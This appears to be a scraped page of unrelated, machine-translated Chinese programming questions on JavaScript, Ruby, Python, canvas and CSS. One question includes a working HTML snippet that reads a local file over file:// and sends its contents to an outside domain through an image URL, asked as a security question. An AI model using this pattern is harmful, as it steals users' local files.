我想我的script组onclick的properity <div>.
我用这个Html代码:
<div id="forgotpass">Forgot Password?</div>
Run Code Online (Sandbox Code Playgroud)
我希望当用户单击要运行<div>的forgotpass()函数时,但我不想使用它:
<div id="forgotpass" onclick="forgotpass();">Forgot Password?</div>
Run Code Online (Sandbox Code Playgroud) 这是我的代码:
class Order < Grape::Entity
expose :id { |order, options| order.id.obfuscate }
expose :time_left_to_review do |order, options|
byebug
order&.time_left_to_review # ERROR
end
expose :created_at { |order, options| order.last_transition.created_at }
end
# NoMethodError Exception: undefined method `time_left_to_review' for #<Order:0x007f83b9efc970>
Run Code Online (Sandbox Code Playgroud)
我认为这&.是一个捷径,.try但我想我错了.可能有人指出我正确的方向,我错过了什么?
我觉得这不是红宝石相关的.葡萄可能吗?虽然我不明白它是怎么回事.
我有一个配置信息的字典:
my_conf = {
'version': 1,
'info': {
'conf_one': 2.5,
'conf_two': 'foo',
'conf_three': False,
'optional_conf': 'bar'
}
}
Run Code Online (Sandbox Code Playgroud)
我想检查字典是否遵循我需要的结构.
我正在寻找这样的东西:
conf_structure = {
'version': int,
'info': {
'conf_one': float,
'conf_two': str,
'conf_three': bool
}
}
is_ok = check_structure(conf_structure, my_conf)
Run Code Online (Sandbox Code Playgroud)
是否有任何解决方案可以解决此问题或任何可以使实施check_structure更容易的库?
最近我发现Google Closure Compiler这么酷.有没有其他方法可以获得编译的静态类型语言的好处?
更新
它不是关于真正的编译器,而是关于JavaScript-JavaScript转换器,它提供类型验证等,优化和压缩.
javascript compression compiler-construction optimization google-closure-compiler
我们来谈谈安全性.在我看来,理论上,如果用户用它打开html文件(从他的文件系统打开,而不是从网络打开),我可以用一些脚本从用户的文件系统获取信息.看看代码:
info.txt:
my info
Run Code Online (Sandbox Code Playgroud)
index.html的:
<!doctype html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
<script>
$(document).ready(function () {
$.get('file:///home/daz/desktop/info.txt', function (data) {
$('<img>').attr('src', 'http://domain.com?data=' + escape(data)).appendTo('body');
}, 'text');
});
</script>
</head>
<body></body>
</html>
Run Code Online (Sandbox Code Playgroud)
某些浏览器(Firefox,例如)允许您从获得的文件file://通过XmlHttpRequest,所以如果我猜的文件路径,然后我就可以得到它的通过Ajax内容.然后我可以通过查询字符串中的参数以dinamically方式添加img带有src我的域的标记.浏览器乖乖地提出请求GET ?data=my%20info%0A domain.com.在服务器端,我可以解析查询字符串并获取数据.
我是对的,我可以这样做吗?我是对的,如果他打开我的html文件,我可以从他的电脑中获取用户的数据吗?所以我可以说:"嘿,朋友,看看这个档案!" (有2个限制:用户应该使用firefox或类似配置的其他东西,我无法获取用户因访问权限无法访问的文件).
更新:
如果有可能,为什么有可能呢?他们为什么允许你做这些事情.为什么没有确认对话框或其他内容.
更新2:
如果有人对此问题进行审核,那将会很棒.提前致谢!
这是JavaScript的大师的问题.我正在尝试使用JavaScript原型模型更优雅.这是我的实用程序代码(它提供了真实的原型链和使用instanceof运算符的正确工作):
function Class(conf) {
var init = conf.init || function () {};
delete conf.init;
var parent = conf.parent || function () {};
delete conf.parent;
var F = function () {};
F.prototype = parent.prototype;
var f = new F();
for (var fn in conf) f[fn] = conf[fn];
init.prototype = f;
return init;
};
Run Code Online (Sandbox Code Playgroud)
它允许我这样做:
var Class_1 = new Class({
init: function (msg) { // constructor
this.msg = msg;
},
method_1: function () {
alert(this.msg + ' in Class_1::method_1');
},
method_2: function …Run Code Online (Sandbox Code Playgroud) 我在我的移动网站上使用zepto库.我最近了解到zepto没有slideDown()像jquery 这样的插件.我想为zepto实现相同的功能.
我在jsfiddle上尝试了一个(http://jsfiddle.net/goje87/keHMp/1/).这里显示元素时没有动画.它只是闪烁下来.我如何引入动画?
PS:我无法提供固定高度,因为我将此插件应用于其高度属性不可知的元素.
谢谢!
给定一个排序的数字列表,我需要找到大于给定数字的最小数字.考虑这个清单:
arr=[1,2,3,5,7,11,101,131,151,181,191,313,353,373,383]
Run Code Online (Sandbox Code Playgroud)
假设指定的数字是320.然后,我的方法应该返回353,因为353是大于320的最小数字.
我试图使用略微修改的二进制搜索形式; 但是在执行时,程序进入无限循环.
def modBinarySearch(arr,x):
l=len(arr)
mid=l/2
if arr[mid]>=x and arr[mid-1]<x:
return arr[mid]
elif arr[mid]>x and arr[mid-1]>x:
modBinarySearch(arr[mid:l],x)
else:
modBinarySearch(arr[0:mid],x)
N=int(raw_input())
arr=[1,2,3,5,7,11,101,131,151,181,191,313,353,373,383]
print modBinarySearch(arr,N)
Run Code Online (Sandbox Code Playgroud)
有人可以指出我做错了什么吗?
我写了一个简单的例子来说明这一点.
画布大小为500px*400px.我的图像的原始大小是200px*160px,dpi为480.我想在画布中以原始大小显示此图像,这样它就不会调整大小,这会使图像模糊.
这是代码:
<html>
<head>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript">
$(document).ready(function() {
$("#canvas").width(500);
$("#canvas").height(400);
var canvas = $("#canvas").get(0);
var ctx = canvas.getContext('2d');
var image = new Image();
image.src = "fish01.png"; // size is 200px * 160px
ctx.drawImage(image, 0, 0); // same with ctx.drawImage(image, 0, 0, 200, 160);
});
</script>
</head>
<body style="background-color: #ccc; margin: 0px;">
<canvas id="canvas" style="background-color: #66c"></canvas>
</body>
</html>
Run Code Online (Sandbox Code Playgroud)
原始图片是:

结果是:

我认为这很奇怪,因为画布的大小是500px*400px,图像的大小是200px*160px,图像如何超出画布的范围?似乎图像已经调整大小.
我想知道如何显示原始大小的图像.请给出一些建议.谢谢!
我想创建一个新样式,而不仅仅是改变元素的style属性.以下是一些示例代码来演示此问题:
//Create 1st element
var element1 = $('<div />').text('element1').addClass('blue');
$('body').append(element1);
//Set some css for all elements with the blue class
$('.blue').css('background-color', 'blue');
//Create 2nd element, it won't have the css applied because it wasn't around when the css was set
var element2 = $('<div />').text('element2').addClass('blue');
$('body').append(element2);?
Run Code Online (Sandbox Code Playgroud)
在上面的代码中,第二个元素与第一个元素的风格不同.我想要的是能够为所有未来的元素在className上设置css.
javascript ×6
html ×5
dom ×3
css ×2
jquery ×2
python ×2
algorithm ×1
canvas ×1
chain ×1
compression ×1
config ×1
dictionary ×1
events ×1
grape-api ×1
html5 ×1
if-statement ×1
imagesource ×1
inheritance ×1
optimization ×1
prototype ×1
ruby ×1
schema ×1
security ×1
slidedown ×1
validation ×1
zepto ×1